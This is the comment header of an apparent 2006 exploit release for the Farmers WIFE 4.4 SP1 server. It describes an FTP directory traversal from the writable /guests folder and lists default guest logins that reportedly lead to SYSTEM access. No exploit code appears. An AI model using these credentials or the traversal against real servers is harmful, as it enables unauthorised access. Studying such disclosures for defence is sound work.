# kokanin 20060106 // farmers wife server 4.4 sp1 allows us to 
# use ../../../ patterns as long as we stand in a folder where we have write access.
# haha, that's what you get for implementing your own access control instead of relying on the underlying OS.
# default port is 22003, default writable path is /guests.

# 0day 0day, private, distribute and die bla bla bla
# leet (translated) note from <anonymized>: you can log in as IEUser/mail@mail.com or anonymous/mail@mail.com
# on _all_ farmers wife servers. This can't be disabled unless you turn off FTP access. The anonymous
# login gives you guest access, which means write access to /guests, which means default remote 'root'
# aka SYSTEM access. Ha ha ha, thanks anonymized, I missed that bit.
